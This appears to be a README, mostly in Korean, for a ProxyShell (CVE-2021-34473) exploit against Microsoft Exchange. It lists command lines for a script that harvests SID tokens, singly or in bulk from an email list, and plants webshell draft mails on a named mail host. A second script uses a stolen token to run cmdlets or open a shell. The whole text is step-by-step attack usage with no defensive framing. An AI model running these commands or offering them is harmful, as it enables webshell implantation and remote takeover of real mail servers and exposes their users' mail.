CVE-2021-34473-Exchange-ProxyShell

• python send_webshell_mail.py https://mail16.echod.com [email protected] 단일 획득

• python send_webshell_mail.py https://mail16.echod.com crack mail.txt에서 이메일을 대량으로 읽어 SID 토큰 획득 시도

• python send_webshell_mail.py https://mail16.echod.com [email protected] send (웹셸 초안 메일만 전송)

• python send_webshell_mail.py https://mail16.echod.com crack send 악성 메일 대량 전송 (권장하지 않음)

• python wsman_shell.py https://mail.echod.com [email protected] [여기에 획득한 토큰을 넣으세요] 여기서는 cmdlet 명령만 실행

  메일 전송 후 이 명령을 사용하여 getshell을 시도할 수 있으며, 구체적인 Path는 스크립트 경로에서 조정 가능

• python wsman_shell.py https://mail.echod.com [email protected] [여기에 획득한 토큰을 넣으세요] shell

메일 보내기 테스트

셸 응답 테스트 eeeee

웹셸 암호화